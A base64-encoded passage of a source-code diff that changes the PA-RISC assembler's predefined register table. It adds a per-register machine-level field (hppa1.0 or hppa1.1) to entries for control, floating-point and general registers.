MjR9LA0KLSAgeyIlY3IyNSIsICAyNX0sDQotICB7IiVjcjI2IiwgIDI2fSwNCi0gIHsiJWNyMjci
LCAgMjd9LA0KLSAgeyIlY3IyOCIsICAyOH0sDQotICB7IiVjcjI5IiwgIDI5fSwNCi0gIHsiJWNy
MzAiLCAgMzB9LA0KLSAgeyIlY3IzMSIsICAzMX0sDQotICB7IiVjcjgiLCAgICA4fSwNCi0gIHsi
JWNyOSIsICAgIDl9LA0KLSAgeyIlZHAiLCAgICAyN30sDQotICB7IiVlaWVtIiwgIDE1fSwNCi0g
IHsiJWVpcnIiLCAgMjN9LA0KLSAgeyIlZmFyZzAiLCAgNCArIEZQX1JFR19CQVNFfSwNCi0gIHsi
JWZhcmcxIiwgIDUgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmYXJnMiIsICA2ICsgRlBfUkVHX0JB
U0V9LA0KLSAgeyIlZmFyZzMiLCAgNyArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMCIsICAgIDAg
KyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjBsIiwgICAwICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIl
ZnIwciIsICAgMCArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnIxIiwgICAg
MSArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMTAiLCAgMTAgKyBGUF9SRUdfQkFTRX0sDQotICB7
IiVmcjEwbCIsIDEwICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIxMHIiLCAxMCArIEZQX1JFR19C
QVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnIxMSIsICAxMSArIEZQX1JFR19CQVNFfSwNCi0g
IHsiJWZyMTFsIiwgMTEgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjExciIsIDExICsgRlBfUkVH
X0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjEyIiwgIDEyICsgRlBfUkVHX0JBU0V9LA0K
LSAgeyIlZnIxMmwiLCAxMiArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMTJyIiwgMTIgKyBGUF9S
RUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyMTMiLCAgMTMgKyBGUF9SRUdfQkFTRX0s
DQotICB7IiVmcjEzbCIsIDEzICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIxM3IiLCAxMyArIEZQ
X1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnIxNCIsICAxNCArIEZQX1JFR19CQVNF
fSwNCi0gIHsiJWZyMTRsIiwgMTQgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjE0ciIsIDE0ICsg
RlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjE1IiwgIDE1ICsgRlBfUkVHX0JB
U0V9LA0KLSAgeyIlZnIxNWwiLCAxNSArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMTVyIiwgMTUg
KyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyMTYiLCAgMTYgKyBGUF9SRUdf
QkFTRX0sDQotICB7IiVmcjE2bCIsIDE2ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIxNnIiLCAx
NiArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnIxNyIsICAxNyArIEZQX1JF
R19CQVNFfSwNCi0gIHsiJWZyMTdsIiwgMTcgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjE3ciIs
IDE3ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjE4IiwgIDE4ICsgRlBf
UkVHX0JBU0V9LA0KLSAgeyIlZnIxOGwiLCAxOCArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMThy
IiwgMTggKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyMTkiLCAgMTkgKyBG
UF9SRUdfQkFTRX0sDQotICB7IiVmcjE5bCIsIDE5ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIx
OXIiLCAxOSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnIxbCIsICAgMSAr
IEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMXIiLCAgIDEgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19S
U0VMfSwNCi0gIHsiJWZyMiIsICAgIDIgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjIwIiwgIDIw
ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIyMGwiLCAyMCArIEZQX1JFR19CQVNFfSwNCi0gIHsi
JWZyMjByIiwgMjAgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyMjEiLCAg
MjEgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjIxbCIsIDIxICsgRlBfUkVHX0JBU0V9LA0KLSAg
eyIlZnIyMXIiLCAyMSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnIyMiIs
ICAyMiArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMjJsIiwgMjIgKyBGUF9SRUdfQkFTRX0sDQot
ICB7IiVmcjIyciIsIDIyICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjIz
IiwgIDIzICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIyM2wiLCAyMyArIEZQX1JFR19CQVNFfSwN
Ci0gIHsiJWZyMjNyIiwgMjMgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZy
MjQiLCAgMjQgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjI0bCIsIDI0ICsgRlBfUkVHX0JBU0V9
LA0KLSAgeyIlZnIyNHIiLCAyNCArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIl
ZnIyNSIsICAyNSArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMjVsIiwgMjUgKyBGUF9SRUdfQkFT
RX0sDQotICB7IiVmcjI1ciIsIDI1ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7
IiVmcjI2IiwgIDI2ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIyNmwiLCAyNiArIEZQX1JFR19C
QVNFfSwNCi0gIHsiJWZyMjZyIiwgMjYgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0g
IHsiJWZyMjciLCAgMjcgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjI3bCIsIDI3ICsgRlBfUkVH
X0JBU0V9LA0KLSAgeyIlZnIyN3IiLCAyNyArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0K
LSAgeyIlZnIyOCIsICAyOCArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMjhsIiwgMjggKyBGUF9S
RUdfQkFTRX0sDQotICB7IiVmcjI4ciIsIDI4ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0s
DQotICB7IiVmcjI5IiwgIDI5ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIyOWwiLCAyOSArIEZQ
X1JFR19CQVNFfSwNCi0gIHsiJWZyMjlyIiwgMjkgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VM
fSwNCi0gIHsiJWZyMmwiLCAgIDIgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjJyIiwgICAyICsg
RlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjMiLCAgICAzICsgRlBfUkVHX0JB
U0V9LA0KLSAgeyIlZnIzMCIsICAzMCArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMzBsIiwgMzAg
KyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjMwciIsIDMwICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdf
UlNFTH0sDQotICB7IiVmcjMxIiwgIDMxICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIzMWwiLCAz
MSArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMzFyIiwgMzEgKyBGUF9SRUdfQkFTRSArIEZQX1JF
R19SU0VMfSwNCi0gIHsiJWZyM2wiLCAgIDMgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjNyIiwg
ICAzICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjQiLCAgICA0ICsgRlBf
UkVHX0JBU0V9LA0KLSAgeyIlZnI0bCIsICAgNCArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyNHIi
LCAgIDQgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyNSIsICAgIDUgKyBG
UF9SRUdfQkFTRX0sDQotICB7IiVmcjVsIiwgICA1ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnI1
ciIsICAgNSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnI2IiwgICAgNiAr
IEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyNmwiLCAgIDYgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVm
cjZyIiwgICA2ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcjciLCAgICA3
ICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnI3bCIsICAgNyArIEZQX1JFR19CQVNFfSwNCi0gIHsi
JWZyN3IiLCAgIDcgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyOCIsICAg
IDggKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjhsIiwgICA4ICsgRlBfUkVHX0JBU0V9LA0KLSAg
eyIlZnI4ciIsICAgOCArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KLSAgeyIlZnI5Iiwg
ICAgOSArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyOWwiLCAgIDkgKyBGUF9SRUdfQkFTRX0sDQot
ICB7IiVmcjlyIiwgICA5ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQotICB7IiVmcmV0
IiwgICA0fSwNCi0gIHsiJWh0YSIsICAgMjV9LA0KLSAgeyIlaWlyIiwgICAxOX0sDQotICB7IiVp
b3IiLCAgIDIxfSwNCi0gIHsiJWlwc3ciLCAgMjJ9LA0KLSAgeyIlaXNyIiwgICAyMH0sDQotICB7
IiVpdG1yIiwgIDE2fSwNCi0gIHsiJWl2YSIsICAgMTR9LA0KLSNpZiBUQVJHRVRfQVJDSF9TSVpF
ID09IDY0DQotICB7IiVtcnAiLCAgICAyfSwNCi0jZWxzZQ0KLSAgeyIlbXJwIiwgICAzMX0sDQot
I2VuZGlmDQotICB7IiVwY29xIiwgIDE4fSwNCi0gIHsiJXBjc3EiLCAgMTd9LA0KLSAgeyIlcGlk
cjEiLCAgOH0sDQotICB7IiVwaWRyMiIsICA5fSwNCi0gIHsiJXBpZHIzIiwgMTJ9LA0KLSAgeyIl
cGlkcjQiLCAxM30sDQotICB7IiVwcGRhIiwgIDI0fSwNCi0gIHsiJXIwIiwgICAgIDB9LA0KLSAg
eyIlcjEiLCAgICAgMX0sDQotICB7IiVyMTAiLCAgIDEwfSwNCi0gIHsiJXIxMSIsICAgMTF9LA0K
LSAgeyIlcjEyIiwgICAxMn0sDQotICB7IiVyMTMiLCAgIDEzfSwNCi0gIHsiJXIxNCIsICAgMTR9
LA0KLSAgeyIlcjE1IiwgICAxNX0sDQotICB7IiVyMTYiLCAgIDE2fSwNCi0gIHsiJXIxNyIsICAg
MTd9LA0KLSAgeyIlcjE4IiwgICAxOH0sDQotICB7IiVyMTkiLCAgIDE5fSwNCi0gIHsiJXIyIiwg
ICAgIDJ9LA0KLSAgeyIlcjIwIiwgICAyMH0sDQotICB7IiVyMjEiLCAgIDIxfSwNCi0gIHsiJXIy
MiIsICAgMjJ9LA0KLSAgeyIlcjIzIiwgICAyM30sDQotICB7IiVyMjQiLCAgIDI0fSwNCi0gIHsi
JXIyNSIsICAgMjV9LA0KLSAgeyIlcjI2IiwgICAyNn0sDQotICB7IiVyMjciLCAgIDI3fSwNCi0g
IHsiJXIyOCIsICAgMjh9LA0KLSAgeyIlcjI5IiwgICAyOX0sDQotICB7IiVyMyIsICAgICAzfSwN
Ci0gIHsiJXIzMCIsICAgMzB9LA0KLSAgeyIlcjMxIiwgICAzMX0sDQotICB7IiVyNCIsICAgICA0
fSwNCi0gIHsiJXI1IiwgICAgIDV9LA0KLSAgeyIlcjYiLCAgICAgNn0sDQotICB7IiVyNyIsICAg
ICA3fSwNCi0gIHsiJXI4IiwgICAgIDh9LA0KLSAgeyIlcjkiLCAgICAgOX0sDQotICB7IiVyY3Ry
IiwgICAwfSwNCi0gIHsiJXJldDAiLCAgMjh9LA0KLSAgeyIlcmV0MSIsICAyOX0sDQotICB7IiVy
cCIsICAgICAyfSwNCi0gIHsiJXNhciIsICAgMTF9LA0KLSAgeyIlc3AiLCAgICAzMH0sDQotICB7
IiVzcjAiLCAgICAwfSwNCi0gIHsiJXNyMSIsICAgIDF9LA0KLSAgeyIlc3IyIiwgICAgMn0sDQot
ICB7IiVzcjMiLCAgICAzfSwNCi0gIHsiJXNyNCIsICAgIDR9LA0KLSAgeyIlc3I1IiwgICAgNX0s
DQotICB7IiVzcjYiLCAgICA2fSwNCi0gIHsiJXNyNyIsICAgIDd9LA0KLSAgeyIldDEiLCAgICAy
Mn0sDQotICB7IiV0MiIsICAgIDIxfSwNCi0gIHsiJXQzIiwgICAgMjB9LA0KLSAgeyIldDQiLCAg
ICAxOX0sDQotICB7IiV0ZjEiLCAgIDExfSwNCi0gIHsiJXRmMiIsICAgMTB9LA0KLSAgeyIldGYz
IiwgICAgOX0sDQotICB7IiV0ZjQiLCAgICA4fSwNCi0gIHsiJXRyMCIsICAgMjR9LA0KLSAgeyIl
dHIxIiwgICAyNX0sDQotICB7IiV0cjIiLCAgIDI2fSwNCi0gIHsiJXRyMyIsICAgMjd9LA0KLSAg
eyIldHI0IiwgICAyOH0sDQotICB7IiV0cjUiLCAgIDI5fSwNCi0gIHsiJXRyNiIsICAgMzB9LA0K
LSAgeyIldHI3IiwgICAzMX0NCisgIHsiJWFyZzAiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjZ9LA0K
KyAgeyIlYXJnMSIsICBiZmRfbWFjaF9ocHBhMTAsICAyNX0sDQorICB7IiVhcmcyIiwgIGJmZF9t
YWNoX2hwcGExMCwgIDI0fSwNCisgIHsiJWFyZzMiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjN9LA0K
KyAgeyIlY3IwIiwgICBiZmRfbWFjaF9ocHBhMTAsICAgMH0sDQorICB7IiVjcjEwIiwgIGJmZF9t
YWNoX2hwcGExMCwgIDEwfSwNCisgIHsiJWNyMTEiLCAgYmZkX21hY2hfaHBwYTEwLCAgMTF9LA0K
KyAgeyIlY3IxMiIsICBiZmRfbWFjaF9ocHBhMTAsICAxMn0sDQorICB7IiVjcjEzIiwgIGJmZF9t
YWNoX2hwcGExMCwgIDEzfSwNCisgIHsiJWNyMTQiLCAgYmZkX21hY2hfaHBwYTEwLCAgMTR9LA0K
KyAgeyIlY3IxNSIsICBiZmRfbWFjaF9ocHBhMTAsICAxNX0sDQorICB7IiVjcjE2IiwgIGJmZF9t
YWNoX2hwcGExMCwgIDE2fSwNCisgIHsiJWNyMTciLCAgYmZkX21hY2hfaHBwYTEwLCAgMTd9LA0K
KyAgeyIlY3IxOCIsICBiZmRfbWFjaF9ocHBhMTAsICAxOH0sDQorICB7IiVjcjE5IiwgIGJmZF9t
YWNoX2hwcGExMCwgIDE5fSwNCisgIHsiJWNyMjAiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjB9LA0K
KyAgeyIlY3IyMSIsICBiZmRfbWFjaF9ocHBhMTAsICAyMX0sDQorICB7IiVjcjIyIiwgIGJmZF9t
YWNoX2hwcGExMCwgIDIyfSwNCisgIHsiJWNyMjMiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjN9LA0K
KyAgeyIlY3IyNCIsICBiZmRfbWFjaF9ocHBhMTAsICAyNH0sDQorICB7IiVjcjI1IiwgIGJmZF9t
YWNoX2hwcGExMCwgIDI1fSwNCisgIHsiJWNyMjYiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjZ9LA0K
KyAgeyIlY3IyNyIsICBiZmRfbWFjaF9ocHBhMTAsICAyN30sDQorICB7IiVjcjI4IiwgIGJmZF9t
YWNoX2hwcGExMCwgIDI4fSwNCisgIHsiJWNyMjkiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjl9LA0K
KyAgeyIlY3IzMCIsICBiZmRfbWFjaF9ocHBhMTAsICAzMH0sDQorICB7IiVjcjMxIiwgIGJmZF9t
YWNoX2hwcGExMCwgIDMxfSwNCisgIHsiJWNyOCIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDh9LA0K
KyAgeyIlY3I5IiwgICBiZmRfbWFjaF9ocHBhMTAsICAgOX0sDQorICB7IiVkcCIsICAgIGJmZF9t
YWNoX2hwcGExMCwgIDI3fSwNCisgIHsiJWVpZW0iLCAgYmZkX21hY2hfaHBwYTEwLCAgMTV9LA0K
KyAgeyIlZWlyciIsICBiZmRfbWFjaF9ocHBhMTAsICAyM30sDQorICB7IiVmYXJnMCIsIGJmZF9t
YWNoX2hwcGExMCwgICA0ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZmFyZzEiLCBiZmRfbWFjaF9o
cHBhMTAsICAgNSArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZhcmcyIiwgYmZkX21hY2hfaHBwYTEw
LCAgIDYgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmYXJnMyIsIGJmZF9tYWNoX2hwcGExMCwgICA3
ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIwIiwgICBiZmRfbWFjaF9ocHBhMTAsICAgMCArIEZQ
X1JFR19CQVNFfSwNCisgIHsiJWZyMGwiLCAgYmZkX21hY2hfaHBwYTExLCAgIDAgKyBGUF9SRUdf
QkFTRX0sDQorICB7IiVmcjByIiwgIGJmZF9tYWNoX2hwcGExMSwgICAwICsgRlBfUkVHX0JBU0Ug
KyBGUF9SRUdfUlNFTH0sDQorICB7IiVmcjEiLCAgIGJmZF9tYWNoX2hwcGExMCwgICAxICsgRlBf
UkVHX0JBU0V9LA0KKyAgeyIlZnIxMCIsICBiZmRfbWFjaF9ocHBhMTAsICAxMCArIEZQX1JFR19C
QVNFfSwNCisgIHsiJWZyMTBsIiwgYmZkX21hY2hfaHBwYTExLCAgMTAgKyBGUF9SRUdfQkFTRX0s
DQorICB7IiVmcjEwciIsIGJmZF9tYWNoX2hwcGExMSwgIDEwICsgRlBfUkVHX0JBU0UgKyBGUF9S
RUdfUlNFTH0sDQorICB7IiVmcjExIiwgIGJmZF9tYWNoX2hwcGExMCwgIDExICsgRlBfUkVHX0JB
U0V9LA0KKyAgeyIlZnIxMWwiLCBiZmRfbWFjaF9ocHBhMTEsICAxMSArIEZQX1JFR19CQVNFfSwN
CisgIHsiJWZyMTFyIiwgYmZkX21hY2hfaHBwYTExLCAgMTEgKyBGUF9SRUdfQkFTRSArIEZQX1JF
R19SU0VMfSwNCisgIHsiJWZyMTIiLCAgYmZkX21hY2hfaHBwYTEwLCAgMTIgKyBGUF9SRUdfQkFT
RX0sDQorICB7IiVmcjEybCIsIGJmZF9tYWNoX2hwcGExMSwgIDEyICsgRlBfUkVHX0JBU0V9LA0K
KyAgeyIlZnIxMnIiLCBiZmRfbWFjaF9ocHBhMTEsICAxMiArIEZQX1JFR19CQVNFICsgRlBfUkVH
X1JTRUx9LA0KKyAgeyIlZnIxMyIsICBiZmRfbWFjaF9ocHBhMTAsICAxMyArIEZQX1JFR19CQVNF
fSwNCisgIHsiJWZyMTNsIiwgYmZkX21hY2hfaHBwYTExLCAgMTMgKyBGUF9SRUdfQkFTRX0sDQor
ICB7IiVmcjEzciIsIGJmZF9tYWNoX2hwcGExMSwgIDEzICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdf
UlNFTH0sDQorICB7IiVmcjE0IiwgIGJmZF9tYWNoX2hwcGExMCwgIDE0ICsgRlBfUkVHX0JBU0V9
LA0KKyAgeyIlZnIxNGwiLCBiZmRfbWFjaF9ocHBhMTEsICAxNCArIEZQX1JFR19CQVNFfSwNCisg
IHsiJWZyMTRyIiwgYmZkX21hY2hfaHBwYTExLCAgMTQgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19S
U0VMfSwNCisgIHsiJWZyMTUiLCAgYmZkX21hY2hfaHBwYTEwLCAgMTUgKyBGUF9SRUdfQkFTRX0s
DQorICB7IiVmcjE1bCIsIGJmZF9tYWNoX2hwcGExMSwgIDE1ICsgRlBfUkVHX0JBU0V9LA0KKyAg
eyIlZnIxNXIiLCBiZmRfbWFjaF9ocHBhMTEsICAxNSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JT
RUx9LA0KKyAgeyIlZnIxNiIsICBiZmRfbWFjaF9ocHBhMTEsICAxNiArIEZQX1JFR19CQVNFfSwN
CisgIHsiJWZyMTZsIiwgYmZkX21hY2hfaHBwYTExLCAgMTYgKyBGUF9SRUdfQkFTRX0sDQorICB7
IiVmcjE2ciIsIGJmZF9tYWNoX2hwcGExMSwgIDE2ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNF
TH0sDQorICB7IiVmcjE3IiwgIGJmZF9tYWNoX2hwcGExMSwgIDE3ICsgRlBfUkVHX0JBU0V9LA0K
KyAgeyIlZnIxN2wiLCBiZmRfbWFjaF9ocHBhMTEsICAxNyArIEZQX1JFR19CQVNFfSwNCisgIHsi
JWZyMTdyIiwgYmZkX21hY2hfaHBwYTExLCAgMTcgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VM
fSwNCisgIHsiJWZyMTgiLCAgYmZkX21hY2hfaHBwYTExLCAgMTggKyBGUF9SRUdfQkFTRX0sDQor
ICB7IiVmcjE4bCIsIGJmZF9tYWNoX2hwcGExMSwgIDE4ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIl
ZnIxOHIiLCBiZmRfbWFjaF9ocHBhMTEsICAxOCArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9
LA0KKyAgeyIlZnIxOSIsICBiZmRfbWFjaF9ocHBhMTEsICAxOSArIEZQX1JFR19CQVNFfSwNCisg
IHsiJWZyMTlsIiwgYmZkX21hY2hfaHBwYTExLCAgMTkgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVm
cjE5ciIsIGJmZF9tYWNoX2hwcGExMSwgIDE5ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0s
DQorICB7IiVmcjFsIiwgIGJmZF9tYWNoX2hwcGExMSwgICAxICsgRlBfUkVHX0JBU0V9LA0KKyAg
eyIlZnIxciIsICBiZmRfbWFjaF9ocHBhMTEsICAgMSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JT
RUx9LA0KKyAgeyIlZnIyIiwgICBiZmRfbWFjaF9ocHBhMTAsICAgMiArIEZQX1JFR19CQVNFfSwN
CisgIHsiJWZyMjAiLCAgYmZkX21hY2hfaHBwYTExLCAgMjAgKyBGUF9SRUdfQkFTRX0sDQorICB7
IiVmcjIwbCIsIGJmZF9tYWNoX2hwcGExMSwgIDIwICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIy
MHIiLCBiZmRfbWFjaF9ocHBhMTEsICAyMCArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0K
KyAgeyIlZnIyMSIsICBiZmRfbWFjaF9ocHBhMTEsICAyMSArIEZQX1JFR19CQVNFfSwNCisgIHsi
JWZyMjFsIiwgYmZkX21hY2hfaHBwYTExLCAgMjEgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjIx
ciIsIGJmZF9tYWNoX2hwcGExMSwgIDIxICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQor
ICB7IiVmcjIyIiwgIGJmZF9tYWNoX2hwcGExMSwgIDIyICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIl
ZnIyMmwiLCBiZmRfbWFjaF9ocHBhMTEsICAyMiArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyMjJy
IiwgYmZkX21hY2hfaHBwYTExLCAgMjIgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisg
IHsiJWZyMjMiLCAgYmZkX21hY2hfaHBwYTExLCAgMjMgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVm
cjIzbCIsIGJmZF9tYWNoX2hwcGExMSwgIDIzICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIyM3Ii
LCBiZmRfbWFjaF9ocHBhMTEsICAyMyArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAg
eyIlZnIyNCIsICBiZmRfbWFjaF9ocHBhMTEsICAyNCArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZy
MjRsIiwgYmZkX21hY2hfaHBwYTExLCAgMjQgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjI0ciIs
IGJmZF9tYWNoX2hwcGExMSwgIDI0ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQorICB7
IiVmcjI1IiwgIGJmZF9tYWNoX2hwcGExMSwgIDI1ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIy
NWwiLCBiZmRfbWFjaF9ocHBhMTEsICAyNSArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyMjVyIiwg
YmZkX21hY2hfaHBwYTExLCAgMjUgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsi
JWZyMjYiLCAgYmZkX21hY2hfaHBwYTExLCAgMjYgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjI2
bCIsIGJmZF9tYWNoX2hwcGExMSwgIDI2ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIyNnIiLCBi
ZmRfbWFjaF9ocHBhMTEsICAyNiArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAgeyIl
ZnIyNyIsICBiZmRfbWFjaF9ocHBhMTEsICAyNyArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyMjds
IiwgYmZkX21hY2hfaHBwYTExLCAgMjcgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjI3ciIsIGJm
ZF9tYWNoX2hwcGExMSwgIDI3ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQorICB7IiVm
cjI4IiwgIGJmZF9tYWNoX2hwcGExMSwgIDI4ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIyOGwi
LCBiZmRfbWFjaF9ocHBhMTEsICAyOCArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyMjhyIiwgYmZk
X21hY2hfaHBwYTExLCAgMjggKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsiJWZy
MjkiLCAgYmZkX21hY2hfaHBwYTExLCAgMjkgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjI5bCIs
IGJmZF9tYWNoX2hwcGExMSwgIDI5ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIyOXIiLCBiZmRf
bWFjaF9ocHBhMTEsICAyOSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAgeyIlZnIy
bCIsICBiZmRfbWFjaF9ocHBhMTEsICAgMiArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyMnIiLCAg
YmZkX21hY2hfaHBwYTExLCAgIDIgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsi
JWZyMyIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDMgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjMw
IiwgIGJmZF9tYWNoX2hwcGExMSwgIDMwICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIzMGwiLCBi
ZmRfbWFjaF9ocHBhMTEsICAzMCArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyMzByIiwgYmZkX21h
Y2hfaHBwYTExLCAgMzAgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsiJWZyMzEi
LCAgYmZkX21hY2hfaHBwYTExLCAgMzEgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjMxbCIsIGJm
ZF9tYWNoX2hwcGExMSwgIDMxICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnIzMXIiLCBiZmRfbWFj
aF9ocHBhMTEsICAzMSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAgeyIlZnIzbCIs
ICBiZmRfbWFjaF9ocHBhMTEsICAgMyArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyM3IiLCAgYmZk
X21hY2hfaHBwYTExLCAgIDMgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsiJWZy
NCIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDQgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjRsIiwg
